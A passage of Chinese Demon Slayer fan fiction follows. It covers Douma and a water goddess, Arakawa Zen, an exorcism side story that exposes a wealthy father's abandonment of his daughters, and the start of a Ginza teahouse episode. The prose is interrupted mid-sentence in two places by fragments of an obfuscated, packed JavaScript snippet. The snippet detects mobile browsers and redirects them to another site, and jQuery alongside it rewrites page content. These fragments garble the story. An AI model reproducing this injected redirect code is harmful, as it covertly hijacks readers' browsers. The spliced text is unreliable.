“一直都是那样的吧,无论是无惨大人还是猗窝座阁下,还有小鸣女他们,大家全都讨厌我呀。”童磨端着酒杯,脸上的微笑空虚而凉薄,“我在他们眼里一定是个奇怪的人吧,虽然不能理解感情什么的,但人家从小就会看人类的脸色,‘喜欢’和‘讨厌’还是分得清的哦。” “但是,总要和大家好好相处嘛。”他居然像模像样地叹了口气,“毕竟我是个善良的人呀。” “所以那孩子说我为了不被人发现,不得不演戏给所有人看,其实也没错哦,只不过最后还是失败啦。” 童磨微微弯起眼睛,看向荒川染:“我啊,说是神之子,其实很多地方都不行吧?小染不讨厌这样的我,真的让我很感动哦。” 荒川染望着那双流光溢彩的眼睛,沉默了片刻,忽然开口道: “想起来了,我最近在拍卖行看到了一幅画。” “诶?是什么样的画呀?” “是个叫文森特·梵高的人的画,叫做《星夜》。作者差不多相当于明治时代的人吧。” 荒川染抱着膝盖,将下巴放在膝头,凝视着面前的河流。 “听说是在法国乡下的精神病院里画的,完成那幅画的一年之后,画家本人就开枪自杀了。” “但是,我从没见过那么美的西洋画。怎么说呢,就好像是在那个画家眼里,世界完全是以另一种样子呈现的,无论是星辰,还是森林,都是流动的光,整个世界是由各种各样的光构成的,光才是世界的本质,而不是这些转瞬即逝的物质。” “有人说是因为画家先生的精神出了问题,是个疯子,他看到的东西才和常人不同,但我却不这么认为,那个人一定有着和普通人不一样的内心,是个无法被常人理解的天才,而天才永远是孤独的。” 她轻轻叹了口气。 “童磨,我从很小的时候就明白,世界在不同的人眼睛里,就是会呈现出不同的样子。我能看得见的东西,别人是看不见的,但他们看不见,不代表我错了,也不代表,和大家不一样的人,就没有资格活在世上。” “我喜欢这里的西洋人,你知道为什么吗?”荒川染扶了扶头上被风吹歪的草帽,“因为他们从来不会为了‘和别人好好相处’这种蠢事而委屈自己,开心的时候就大声笑,难过的时候就大声哭,热的时候就穿的少一些,不用去在意别人喜欢不喜欢,像这些最简单的事,为什么我们国家的人就做不到呢?” “世间万物都有自己存在的方式,不被‘正常人’认可的,也许只是他们无法欣赏的美罢了。” “听说那位叫梵高的画家先生一辈子穷困潦倒,连正式的工作都没有,又被关进了精神病院,但在死后他的画却卖出了高价。你看,人类多可笑又多残忍啊,他们自己都弄不清自己喜欢什么,却要对别人指指点点,他们亲手毁掉了美丽的东西,却要污蔑别人是疯子。” “所以,”她郑重地看着他,“不用在意他人的评价,不管别人说什么,我都喜欢你,绝对不会讨厌你,童磨你只需要记住这一点就够了。” 鬼眨了眨眼睛,露出个贱兮兮地笑:“诶呀诶呀,小染又在告白啦~不过完全能理解,毕竟人家长得好看,又有钱,还是个聪明善良的人,神明小姐喜欢我也是应该的嘛~” 荒川染无语地看了眼他,站起身来:“…喝你的酒吧,我去抓鳗鱼了。” “不行啊,你连网都没带吧?” “开什么玩笑,我可是个水神!” 荒川染朝四周看了看,确认没有其他人后,闭上眼睛感受了片刻,然后对着河面伸出了一只手。 “沧龙·起!” 只见河水涌动了几下,之后其中的一段像是被整块切割下来的羊羹那样,缓缓升上了半空,无数水珠飞溅在阳光下,几条惊慌失措的河鳗裹着水草从水中冲了出来。 荒川染张开手,指尖灵光闪耀,一团水球罩住了逃跑的鳗鱼,准确落在她带来的洋铁皮桶里,然后她便双手叉腰,得意洋洋地转身看着那只睁大了眼睛的鬼。 “诶?诶诶?这样也可以?那人家也要试试看~” “等…” 后面的话还没来得及说出口,荒川染就见童磨欢快地挥动了下扇子。 “血鬼术·寒烈之白姬!” 在两具少女冰像口中吹出的寒气下,盛夏的河面竟然开始封冻,冰霜向着岸边蔓延开来,冻结的河水发出清脆的鸣响,这违反自然常理的一幕实在美丽又诡异,没一会儿工夫,目光所及的河面就全部结满了冰花,像是变成了一整块透明的玻璃,连带着几只来不及逃跑的水鸭子,一切都冻成了寂静的冰雕。 “怎么样怎么样?超~棒对不对?”童磨开心地搂住荒川染的肩膀,“这下河里所有的鱼都跑不了啦~” 后者扯出一抹勉强的笑容。 “的确是超棒呢,但还要麻烦童磨大人告诉我,咱们该怎么把那些鱼从河里捞出来呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她听见那只鬼在轻声感叹,于是笑道:“厉害吧?说起来,京都那边的山里也有奇怪的小东西呢,你记得咱们上次…” “我是说,白姬小姐真厉害呀…” “诶?” 听到童磨叫了自己的本名,荒川染回过头,看见那只鬼弯起眼睛,眼中一片斑斓的色彩,好像整个世界都倒映在其中。 “从小能看见这样的世界,白姬小姐真的很厉害哦,”他像童年时那样眯起眼睛,笑的满脸天真,“说实话,那时候你说能看得见我的光,我是一点也不相信啦,但现在我明白了,白姬小姐才是真正的、神明的孩子哦。” “如果那时候能做朋友就好啦。”童磨微笑着摸了摸她的头,“真是辛苦你了,明明那么痛苦,却没有像其他人那样向我倾诉,白姬小姐真是个坚强的孩子呢。” 某种酸涩的情绪在瞬间充满了荒川染的内心,那被当作不祥之物的、短短的九年人生,是她心中一道无法愈合的伤痕,但此时此刻,她丝毫不后悔曾作为人类降生在这个世上。 “笨蛋,因为你当时也只是个七岁的小孩而已啊。”荒川染抹去眼角的泪,笑了出来,“你知道吗,我那时觉得所有人都疯了,他们在一点点的吃掉那个你,但是谁都…谁都看不见,连你自己也看不见。” “如果我那时再坚强一点就好了,如果我全都说出来,是不是就能…” “不行啊,你知道那是不可能的。” 童磨的语气淡然而平静。 “白姬小姐救不了那时的我,就像那时的我也救不了白姬小姐你。” “但是,”他顿了顿,认真地说道,“我也从来没有后悔过哦,作为‘神之子’降生在这世上的我,赐予了很多人幸福,我已经尽力啦。” “我知道。”荒川染同样认真地点了点头,“所以,我一定会让你得到幸福的。” “诶?这话听起来好像有些问题哦?”童磨托着腮,歪了歪头,“应该是我让小染得到幸福才对吧?” 荒川染看着他,终于笑了出来。 “呐,童磨,你还记得自己的生日吗?” “那种东西从小就是假的啦,连母亲大人自己都从没说过,只是编造了一个用来骗信徒的日子而已…” “正好,我也不知道自己的,那就从今年的圣诞节开始,一起过生日吧?” “小染,你都活了几百年了吧…” “那又怎样?”荒川染翻了个白眼,“我愿意过就过!夜莺小姐那句话我喜欢,”她一本正经地学起他人的样子,“这是我的自由!自由!” “诶…这就是西洋人说的自由嘛?就是想什么时候过生日都可以?” “还有想去哪里就去哪里,想玩什么就玩什么,想吃什么就吃什么。”荒川染越说越兴奋,干脆转过身拉住童磨的手,“就这么决定了,圣诞节的时候,一起出去旅行吧?去挪威怎么样?我听夜莺小姐说,那边的天空中能看到特别漂亮的光呢!” “光?又是什么样的光呀?” “不知道,所以才想去看看呢!” “诶…看人家的心情吧。”童磨笑嘻嘻地说,“还有小染要努力存钱哦,今年已经过去一半啦~” “…要你管!总之一定会比你赚的多的!” 暑伏要吃鳗鱼,这是江户人流传了数百年的传统,在距离日本岛无限遥远的另一个岛国,来自江户的神明小姐决定将这项传统传承下去。 当然,结果是她自己哭着吃完了所有的鳗鱼和米饭,因为某只鬼号称讨厌所有鱼。 “那家伙真的是日本人吗…” 在气哼哼地刷完所有盘子碗之后,荒川染拿起头一天的野餐篮子,却发现里面的纸上似乎画了什么东西。 拿起一看,是一张异常潦草的…钢笔画,画里依稀有个小人,双手叉腰,看起来洋洋得意的样子。 “什么啊…还以为他真写了和歌呢,画的也太丑了吧?” 荒川之神吐了吐舌头,刚要扔掉,却看见纸的背面写了个歪歪扭扭的日语单词。 那个词是,“幸福”。 ————— *土用丑日:日本人在“土用丑日”这一天吃鳗鱼的习惯据说和江户时代著名的戏剧作家平贺源内有关,当时有一家鳗鱼饭专卖店生意清淡,请平贺源内帮忙在“土用丑日”那天,在海报上写上“本日为土用丑日”,在日文中,“丑日”的“丑”的第一个音与“鳗鱼”的“鳗”的第一个音,发音相同,所以,平贺源内所写的“本日为土用丑日”,实际上意思为“本日为土用鳗鱼日”。海报打出后,那家鳗鱼店果然人气大旺起来,于是,其他鳗鱼屋也纷纷效仿,以后每逢“土用丑日”,各家鳗鱼屋都纷纷打出“本日土用丑日”的招牌来招徕食客,由此渐渐普及开来形成了日本的鳗鱼节。 因为夏秋之交的“土用”是一年之中最炎热的时期,总是让人感到无精打采,而日本人认为吃鳗鱼则可以补充精力与体力,因此夏季的土用丑日被定为日本的鳗鱼节。 118. 【番外】大正九年极乐寺驱鬼实录 这是大正九年荒川染在万世极乐教打工期间遇到的事。 凡是上了点年头的建筑,里面都容易滋生灵异,特别是寺院这种地方。原因是日本的寺院通常有一项工作是帮人处理后事,其中不少还带有坟场,所以有些不愿离去的幽灵之类也不奇怪。 极乐寺却不在此列。说来也怪,两百年来童磨在这座山中寺院里吃了无数人类,荒川染却没在这里遇到什么魑魅魍魉,除了那柜子“收藏品”确实残留着亡者的怨念之外,竟也没有徘徊不去的灵魂。大概因为极乐教主自己就是个鬼中极品,连幽灵都躲他远远的。 但有一天她还真遇到了灵异。 “一,二,三,四…啊,又少了一块!” 神明小姐捧着一只绘有彩色西洋画的饼干盒子,有点困扰地嘟囔。 好不容易回一趟东京,这是她特意跑到浅草那边的洋果子店买回来的进口货,叫什么“曲奇”的高档点心,每天下午用来配红茶吃的,但这两天居然…居然…在以肉眼可见的速度减少! 寺院里养了猫,所以没有老鼠,而且老鼠也打不开饼干盒子。那就只有一种可能… “童磨应该不吃这个吧…” 正自言自语中,一股异样的气息令荒川染抬起头来。 她看见门外走廊的阴影里,赫然有一双惨白的光脚。 脚上沾了泥,泛着湿漉漉的水光,再往上看,是正往下滴水的和服下摆。 嘀嗒。嘀嗒。 水顺着脏兮兮的红色布料不断滴落到木地板上,很快积了一小摊。再往上看,隐约能看见绣着桔梗花的腰带,腰带往上的部分则模糊不清,隐没在阴影里。 荒川染从还是人类时就见惯了这些东西,早已将它们当作众生的一类。亡灵停留于世间不肯去转世,必定是有所执着。 只可惜,看上去还是个小孩子啊。 她朝那半截红色的影子招了招手。 “别怕,过来吧。” 影子一动不动。 染拿起饼干盒子:“你是想要这个吗?” 那双惨白的脚似乎动了动,好像受到了诱惑,但下一秒—— “诶?是信徒家的孩子吗?怎么跑到这里来啦?” 童磨特有的轻快声音在走廊里响起,阴影里的小孩倏地消失不见了。 “诶?” 教主大人瞬移到门口,一副惊讶的样子。 “呐呐,小染,你看见刚刚那孩子了吗?难道是传说中的座敷童子?” 荒川染无语地看着他。 “明明是幽灵吧!” “座敷童子也是幽灵呀,据说家里有座敷童子出现的话会带来财运哦~” “完全不一样好不好?”荒川染双手叉腰瞪着他:“给我坦白吧,你是不是吃过小孩子?” “怎么会呢?” 那鬼马上换了一脸无辜的表情。 “人家是个善良的人,怎么会做那种残忍的事呢?况且小孩子虽然肉质好,但实在没什么肉呀~” ……好吧,倒也勉强算个理由。 “那可能就是…” 有什么事要发生了吧。 荒川染想。 没过两天,果然有人送来了东京一位著名人士的拜帖。 这位著名人士姓吉野,是做砂糖起家的富商,后来转行做了棉纱,在日本和大陆开有多家纺织厂。荒川染先前在城里的报纸上还看到过他和太太儿子一家三口在豪宅里拍的合照,据说这位吉野先生不仅事业有成,更是位深爱家人的好男人。 “请教主大人帮忙……驱邪?” 荒川染重复了一遍对方的话。 “是的。” 来者是个年轻人,显然是仆人之类的角色,他微微俯身,恭敬地说道。 “夫人这病实在奇怪,发病没两天就已经完全不能动了,西洋大夫看过后只说是神经症,但无论怎么治疗都没有效果,正好我家老爷和田中议员是朋友,议员听了这事就说‘去御岳山里找那位神之子吧,无论什么事都能解决’,老爷说了,如果神子大人真能治好我家夫人,无论多少钱他都愿意出,所以…拜托了。” 荒川染迟疑了下:“既然是田中议员的朋友…” “既然是田中议员的朋友,我就有义务帮忙,就把那位可怜的夫人带来给我看看吧。” 荒川染目瞪口呆地扭头看着端坐在神坛上的童磨,教主大人一脸悲悯之色,轻轻摇着扇子道: “就算不为夫人考虑,若是孩子就这样失去母亲,也太可怜了。” “是,是的!我家小少爷刚十岁,这几天一直害怕的吃不下睡不着,总说屋子里有人,眼看瘦了一大圈呢。” 听到教主大人答应帮忙,年轻人颇有些激动,“那就拜托您了,我马上回去禀告老爷。” “你、你还有这种业务?”人刚出门,荒川染就嘴角抽搐着看向童磨,后者悠然自得地歪在软垫上,怎么看都不像是能给人做法事的正经僧人。 岂止正经僧人,连正经人类都不是。 “偶尔也会有这种委托啦,毕竟人家是开寺院的嘛。”童磨笑嘻嘻地说,“我说什么来着?座敷童子是会带来财运的哦~” “…你会驱邪?” “当然不会啦,”鬼无辜地摊手,“不是还有小染嘛~” 荒川染差点跳起来。 “岂有此理!我又没做过那种事!” “试试看嘛~小染不是想多赚点钱,早点从我这里把神社的地契赎回去嘛?”童磨眯起眼睛,笑的像只老谋深算的狐狸,“那位吉野阁下可是相当有钱的人哦,听说是依靠这第二任妻子的家族才在纺织业里站稳脚跟的,所以一定会尽全力救治那女人,到时候咱们想收多少供奉都可以哦~” 荒川之神默然。就算是神明,寄人篱下也实在悲惨了点,还是努力赚钱要紧。 于是到了约定好的吉日,那位吉野先生果然大驾光临了。 一大早寺院的正殿门前就来了两辆小轿车,一名留着八字胡的中年男子从车上下来,打扮的着实时髦:架着金丝眼镜,身穿条纹和服,头戴礼帽,脚下穿的是西式的皮鞋,手里还拿了根文明杖,跟班的人也都身穿洋装,看着很是精神。 荒川染刚走上前行过礼,就看有几人从第二辆车里七手八脚地搀扶下来一个女人。女人双眼紧闭,面色苍白,看起来全身像是瘫痪了一样,手脚都无力地耷拉着,但最多不过二十来岁,面容也相当娇艳。 因为女人不能行走,就由上次来的那位仆人背着她。吉野先生走过去轻声安慰道: “鸣子,不用担心,马上就会好了。” 病人完全没有反应。荒川染不由得皱了皱眉。 “光”已经变成了发灰的颜色,人快不行了。 真是麻烦啊,要是治不好的话,岂不是败坏了教主大人的名声? 教团的侍从引着一行人向正殿走去,荒川染特意慢了两步,跟在了后面。 嘀嗒。 一滴水落在外殿的地板上。 顺着女人的小腿往上看去,荒川染这次看到了一只灰白的小手,紧紧抓着女人的腰带。 只有一只手,和一点模糊的红色布料,看起来像是从女人的身体里长出来一部分一样。 附体…吗? ——你想要什么? 荒川之神集中意念,用意识问道。 ——无论想要什么都可以说出来,我帮你解决。 幽灵没有反应,那只小手依然一动不动地抓着。 人在死亡之后,往往会有一段茫然混沌的时期,佛教称为“中阴”的状态,此时亡者往往没有意识到自己已经死了,如果有强烈的执念,更容易依附在执念的对象身上,就会造成人类称为“鬼上身”的现象。 这个阶段的亡灵是最不容易沟通的,尤其是小孩子。 但是,倘若使用灵力强行祓除,难免会给灵体带来惊吓和伤害,有碍于它们转世投胎。 若是实在不行,也只能这样。 荒川染正这么想着,就已经踏进了正殿,抬头看见鲜花环绕的神坛上的童磨,差点绷不住笑出声来。 这家伙居然穿了僧袍,手里拿着一长串佛珠,关键是面前摊开了一卷经书,还摆了个巨大的木鱼,看起来简直就像从三十三间堂请回来的菩萨一样。 不愧是你,装神弄鬼一流的教主大人! 不行!忍不住了!想笑!好辛苦! 教主大人毫无半点羞愧之色,还颇为调皮地朝她眨了下眼。 荒川染收到一条脑内通信: ——怎么样呀小染,人家好看吗? 狗男人!这种时候还在开玩笑! 荒川染严肃认真地回他: ——好看!特别好看!我居然不知道童磨大人你还会念经! ——那种事人家八岁以前就会啦,倒是你呀,有把握治好这位可怜的夫人吗? 荒川染看了眼已经被放在神坛前的女人,依然是一副全身瘫软的样子,她走上前蹲下,伸手用食指轻轻按上了女人的额头。 吉野先生皱了皱眉:“神子大人,这位是…?” “啊,这位是荒川小姐,是我的女侍,用现在流行的话说,就是‘助手’,她以前是神社里的巫女哦。”童磨用温和而沉稳的语气说道,“所以无论她问什么问题,都请阁下诚实地回答哦。” “尊夫人看起来有点脱水,是多久没吃过东西了?” 荒川染问了第一个问题。 吉野先生迟疑了下,看向了一旁的仆人。 “夫人自从发病以来就什么都吃不下,连水也灌不进去。”仆人小心翼翼地答道。 “之前有过类似的情况吗?” “没有,夫人一直很健康,发病前一天还带小少爷去了趟游乐园呢。” “哦?”荒川染抬起头,注视着答话的年轻人,“家里只有一个孩子吗?” “啊,这个…” 仆人突然噤声,这次换了那位吉野先生回答:“我和内子只有源太郎一个孩子。” “只有一个孩子?没有其他孩子了?” 荒川染盯着面前的男人,又重复了一遍。 吉野先生的脸色忽然有点难看。 “荒川小姐这是何意?”他提高了声音说道,“我是听了田中阁下的推荐,真心来找神子大人帮忙的,你这是在审问我吗?” 荒川染微微一笑。 “阁下多虑了,只是刚刚教主大人已经说过了,在神明面前是不可以说谎的。我也是为了尊夫人的身体着想,这么下去的话,应该是撑不了几天的,阁下可要考虑清楚了。” 说罢,未等那男人回答,她就向神坛上的童磨轻轻点头示意。 “教主大人,我问完了,可以开始了。” 说罢,荒川染静默地走到一边坐下,冷冷地看着面前的一群人。 木鱼的声音响起,童磨竟然还真的就着那卷经文念起了《地藏菩萨本愿经》。 他的嗓音本就轻柔悦耳,日常不正经的时候总喜欢拖长了尾音说话,显得懒洋洋贱兮兮的,没想到诵经的时候完全换了个风格,带着某种异样而深邃的力量感。 神子的眼眸低垂,剔透的瞳孔中流转着七色虹光,恰如童年时一样。 室内居然寂静下来,荒川染也在这诵经声中重新凝聚了灵力,一道人眼看不见的金光罩住了女人的身体。 ——孩子,你不说话,我帮不了你。 她用意念说道。 ——如果有冤屈就要说出来,你既然能找到我,说明我们之间有缘份,我定会帮你。况且… 她想了想,说道: ——你应该还有牵挂之人活在世上吧? 女人的紧闭的眼皮微不可见地抽搐了一下。 荒川染知道找对了路子,继续说道: ——你父亲说他只有一个儿子,显然是抛弃了你,至于这女人,你想…杀了她,对吗? ——那么活在世上的,是你的什么人?亲生母亲,还是兄弟姐妹? 女人的身体猛烈地抽搐了一下,身旁的几人都惊呼出声,拼命向后躲去,吉野先生脸色苍白,也明显往后瑟缩了下。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252395|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他们当然看不见,一名身穿红色和服的小女孩就站在荒川染面前。 女孩的眼睛犹如两个黑洞,嘴巴张开,缓缓抬起一只手。 童磨诵经的声音依然平静沉稳,眼中的琉璃华彩下却浮起一丝森然冷光,荒川染知道,面前这女孩的怨灵对他来说不过是一道小点心,只要瞬间就能吞噬,但她却不想那样。 ——我是荒川的水神白姬。你有什么放不下的事,说出来吧,我帮你做主。 荒川之神柔和而坚定地说。 亡灵发不出声音,只能借由人类的身体。 地上的女人忽然全身一抖,僵直地坐了起来,缓缓张开嘴,发出一声尖细的呻吟。 好像猫叫般细弱的、孩童的声音。 “救…救…” “救…命…” “救…铃…救…” “铃是…?” “谁”还没说出口,就听有人发出一声尖叫。荒川染看到那名背夫人进来的年轻仆人趴在地上,浑身发抖的大哭起来。 “啊啊啊,惠子小姐!饶了我吧!不是我想的啊!是夫人她让我干的啊!饶了我吧!” “阿吉!给我振作点!不要在这里丢人显眼!”吉野先生厉声喝道,但他自己显然也吓坏了,因为他的夫人正缓缓向他转过头去,嘴巴一张一合。 “父亲…为什么…”女人发出悲哀的童音,“为…什么…” 诵经声不知何时停了下来,童磨单手托着腮,一脸看热闹不嫌事大的表情。 荒川染沉下了脸。 “不说实话,您的夫人是痊愈不了的。”她冷然道,“教主大人,我建议马上报警,这位阁下涉嫌谋杀自己的亲生女儿。” “不、不要报警!被报社知道的话,我的事业就完了!” 男人惊慌地喊道。 吉野先生原本和前妻育有两个女儿,但一直因为生不出儿子来继承家业而苦恼。 几年前前妻因病离世后,他就娶了现任的夫人,并借由夫人家族的实力迅速发家。 但这位夫人极其厌恶两个继女,在生下儿子后更加难以容忍家中还有两个女孩存在,于是趁吉野先生外出工作期间,命令仆人将两个女孩带到山里处理掉。 两名女孩一个八岁,另一个只有五岁,那名仆人于是谎称带她们去郊游,随便在山里找了个没人的地方把她们丢掉了。 吉野先生回到家,发现女儿不见了,为了妻子开心,就也保持了沉默。 距离两个女孩失踪已经超过了十天,按理说是很难还活着了。 但一群人顺着仆人所指的方向一路找去,还真在一处山洞里找到了一名奄奄一息的女孩,是两姐妹中的妹妹,叫做“铃”的孩子。 小女孩的身边堆了不少野果,竟还有些饼干渣,嘴角也沾着饼干的碎屑。 “真是个能干的孩子呀。” 荒川染微笑着蹲下身,抚摸了下红衣女孩的头发。 “一般的幽灵是无法触碰实物的,你一定有很强的信念,才能做得到这种事。” “所以,妹妹已经得救了,你也可以…” 水神望着断崖下。那里有一条小河,河边的碎石中静静躺着一具小小的身体,桔梗花的腰带浸泡在水里。 “安心地成佛吧。” 她轻轻抱住了怀中女孩的灵魂。 “不要再悲伤了,不被父母所爱,并不是你的过错。我以荒川之神的身份祝福你,来世转生到幸福的人家。” 吉野先生的夫人活了下来,但半边身体患了偏瘫,人也变得疯疯癫癫的。过了没几个月,忽然有家报社爆出了吉野先生和吉原某位当红游女之间存在长期的暧昧关系,听说夫人的娘家得知后顿感丢尽了颜面,撤回了工厂的投资。前妻的娘家也知道了两个女孩遭受虐待的事,把名叫“铃”的女孩接走抚养了。 但这都已是后话。事情结束后,大概是为了封口,他派人送来了远超预期的一大笔礼金。 荒川染看着一箱子钱,有生以来第一次产生了不想要的感觉。 “果然不接受人类的供奉是对的…”她叹了口气,“这种人的钱,真是连看一眼都想吐。” “这叫什么傻话,钱只是钱而已。” 童磨歪在一边喝着酒,笑眯眯地说。 “钱到了善良的人手里才能发挥真正的作用嘛~不过下次就不要再买一堆洋果子回来给信徒们吃啦,山田说他现在看到荒川小姐送来的礼物就牙痛…” 荒川染瞪大了眼睛:“怎么这样!我明明是…” “好啦好啦,知道小染是时刻想着大家的好孩子~” 教主大人一手端着酒杯,一手拿着本经书,一副相当心安理得的样子,“毕竟人家是这么善良又聪明的人,一定让小染深受感动,所以才这么努力工作吧~” “……” 荒川染正要反驳,忽然发现童磨手里拿的居然是不久前在法事上用的那卷《地藏经》,于是眼疾手快地一把抢了过来。 “真的假的?连下班时间都在读经书?”她忍不住边笑边说,“想不到你居然…诶?这…这写的是…” “…樱花很快就要凋零,会成为人们感叹的题目。月亮普照大地之后,很快又要没于山际。唯独男女之间的恋情绵绵无尽…” “有位男子出生在但马国一个有银矿的村落里…他置赖以生存的家业于不顾而前往京城…昼夜沉迷于…女色与…男色之道…” “这是什么啊!”神明小姐面红耳赤羞愤难当地翻回封面,却发现那经书的封面是后用浆糊贴上去的,“童磨你…你居然干的出这种事…太过分了!” “诶诶,别乱撕啊,那可是庆应年的孤本哦,人家在很认真地学习怎么谈恋爱呐~” “谁会用《好色一代男》学习谈恋爱啊!你是白痴吗?!” 人间的悲喜如同四季一样循环往复,即便是神佛也无法阻止这种轮回,因为世间的苦难,皆是出自人心的幽暗之处。 但荒川之神深知,人类有救没救暂且不好说,这位向来不怕遭天谴的恶鬼教主恐怕是真的没救了。 119. 【番外】无人的下午茶 染遇到那个人的时候,是大正十年(1921年)冬天的某日。 快到新年了,头天晚上下了雪,到了第二天也没停,天气还是阴沉沉的,银座附近的商店街史无前例地冷清。水神化作黑发黑瞳的人类少女,擎着一把纸伞,拐进了三丁目旁边的小巷子里。 与灯红酒绿的商业区不同,路两边都是上了年头的老房子,积雪也来不及清扫干净,西式皮鞋踩在雪上发出咯吱咯吱的声音,她不禁庆幸穿的不是木屐,否则这么厚的雪,大概连足袋都要弄湿了,况且一早从山里过来,穿木屐可是没法开车的。 神明不会怕冷,但染还是学着女学生那样披上了一条羊毛披肩——这是将咖啡馆转让给她的英国老板在回国前赠送的礼物,有些粗糙的毛呢上印着纵横交错的方格,像是棋盘一样的图案。 ——这是我故乡的传统花纹,荒川小姐。 金发碧眼的洋人笑呵呵地说。 ——上帝保佑你,但愿有一天,我们能在爱丁堡的大街上再见。 不论西洋人还是日本人,人类的心总是期盼着重逢。 想到这里她不禁微微一笑,推开了面前小店的门。 屋子里的说话声随着热气扑面而来,是这间名为“四叶屋”的茶屋老板那惯有的大嗓门儿: “所以说啊,这是纯粹给大伙添麻烦,好好的学生不在学校里念书,闹什么事啊…” “上午好,好久不见了。” 茶屋老板瞪大了眼:“哎呀,这不是罗斯林洋食屋的老板娘嘛!有段日子没见,真是越来越漂亮了,果然女孩子嫁了人就是不一样啊!” 这下轮到染瞪大眼睛了。 “诶?没有的事!谁说我结婚了?” “商店街这边都这么传说啊!洋食屋的荒川小姐嫁进了京都那边的大家族,对方是个有钱的和尚,还有俄国血统呢!” “和…和尚?俄国?” 染的脑子卡住了。 街坊邻里的闲话比什么都可怕,整整一句话里只有“有钱”是事实。 “…什么跟什么啊!”染反应过来,哭笑不得,“这也太离谱了吧!那家伙…我男朋友哪来的俄国血统!” “那个大少爷我见过一次,长得可真是特别,个子高的吓人,眼睛五颜六色的,漂亮的不像话,原来不是有外国血统吗?”旁边歇脚的巡警先生插嘴。 “……” 确实很难跟普通人解释这个问题,于是她含糊其辞道:“有是有…但没有结婚啦!” “没结婚就住到别人家里?”巡警先生摇头,“女孩子这样总归不好吧?家里长辈不介意吗?” 茶屋老板打断了他的质疑:“你懂什么,荒川小姐是…” “劳您费心,家父家母早就不在了。”染礼貌地微笑道,“我自己的事一向自己做主。” “明白了!是婚前修行吧!”茶屋老板恍然道:“听我老婆说有钱人家都那样,女人嫁进门之前要学一堆规矩,像什么茶道啊花道啊琴棋书画之类的,考试合格了才能结婚。”他看向染的目光中带上了不知是敬佩还是同情的复杂情绪,“不容易啊,荒川小姐。” “婚、婚前修行?” 婚前个鬼,修行倒还差不多,寺院里大大小小的事全要她打理,那只鬼一天到晚赏花看鱼,过得清闲自在,比资本家还会剥削人。 神明小姐对此深感火大,脸上却依然保持着得体的微笑,“这么说的话…的确很辛苦呢,简直不是人过的日子。” “我就说吧!不过女孩子嘛,早点嫁人才是正经出路,小店的生意是越来越不好做了。” 茶屋老板叹了口气。 “报纸上说最近连工厂都倒闭了不少,这不是大学还有学生闹事吗,听说抓了不少人哪。” “诶?这么严重吗?” 虽然早就从几个家中有钱有势的信徒那里听到了类似的消息,但如果连银座都显出了萧条的势头,看来经济已经相当不景气了。 “我说你们啊,也操心太多了,这不是咱们该担心的事,上面总有人会解决的。”巡警先生倒是一副看得开的样子,“不过你来的不是时候啊,荒川小姐,你最喜欢的御手洗团子今天没做多少哦。” “没错,今天只有20串哦。”茶屋老板嘿嘿笑着附和,“豆大福倒是做了点,卖完我就打烊了,这雪下的没完没了,孩子他妈还等我回家吃杂煮呢。” “没关系,我全都要了。” “哈哈!不愧是荒川小姐!就知道每次你一来就是拯救我家生意的,简直是财神转世啊!” “财神什么的…您还不如多拜拜七福神呢。” 几人谈笑间,茶屋老板忙着将点心装进染带来的漆绘木盒。正在此时,传来拉门被打开的声音,一个男人裹着寒气,撩开门帘走了进来。 “请问,还有御手洗团子吗?” 方才热闹的茶屋忽然安静下来,看到来者,老板似乎愣了愣,有点为难地说: “是您啊,真是不巧,剩下的已经全被这位小姐买了。” “这样啊…那樱饼呢?或者其他什么都好。” “抱歉,刚刚也都卖光了。” “啊…” 来者发出了无奈的叹息。 染不禁转过头,因为感受到了对方气息中某种难言的悲伤。 是个看上去温文尔雅的中年人,穿着做工精致的厚羽织,戴着西式礼帽,像是大学教授或杂志主编那样的气质,神色中却难掩淡淡的疲惫。 “那个…甘露寺老师。” 店老板忽然出声道: “早点回去吧,今天这边的很多店都不开门。” “原来如此,那打扰了。” 说罢,中年人就转身走了出去。 “唉…” 过了片刻,茶屋老板才发出了叹气声。 “真是可怜。” “没办法啊,谁家死了女儿,都会变成那样吧。”巡警先生咂咂舌头,“好好的姑娘,就那么莫名其妙的死了。” “那位先生的女儿…过世了吗?”染问道。 “对,那孩子从小就爱吃我家的点心,而且食量大到可怕。”茶屋老板仿佛回忆起了有趣的往事:“有次我眼睁睁看她吃了一百串团子和五十个樱饼,差点吓晕过去,现在想起来可真是…” “一百串团子?”染惊讶地说。 这…真的是人类吗? “是啊。”茶屋老板笑着摇头,“没见过那么能吃的女孩子,也就是那种人家才养得起吧。甘露寺家是名门,当爸爸的又在外国大使馆给洋人当翻译,夫妻俩对长女疼爱的不行,才会由着她的性子来吧。” 他顿了顿,语气中流露出惋惜:“啊,说起来,已经四年了啊…那孩子的忌日好像就是这几天,看甘露寺先生那副样子,肯定又是来买女儿最爱吃的东西去祭奠的。” “原来如此…” 四年了,做父亲的还在祭奠早逝的女儿吗?哪怕在这种天气也不放弃… “所以我说吧,女孩子还是早点找个好人家嫁了的好。”巡警先生打了个呵欠,“虽然听说是因为瓦斯爆炸,但大半夜的出去乱跑,真的很可疑啊,谁知道是干什么工作的。” “你这家伙,再胡说八道我就揍你!”茶屋老板忽然生起气来,“蜜璃那孩子才不是你说的那种人!我从小看着她长大的,除了食量有点大之外,那是个热情又单纯的好孩子,之前每次来我这里买点心,都‘大叔大叔’的叫,可有礼貌了!” “唉唉,你冲我发什么火?好孩子能把头发染成那样?” “都说了是吃樱饼吃的!” “樱饼?开玩笑的吧?那是吃了多少樱饼啊…” “…抱歉,我先告辞了。” “哎?等等啊荒川小姐!零钱还没…” “老板您留着喝茶吧!” 染拎起装点心的盒子,冲出了小店。 她很快就追上了甘露寺先生。对方看到是她,显得有点惊讶。 “那个…” 染一只手抓住披肩,做出一副跑的气喘吁吁的样子,另一只手举起了那只装满点心的漆盒。 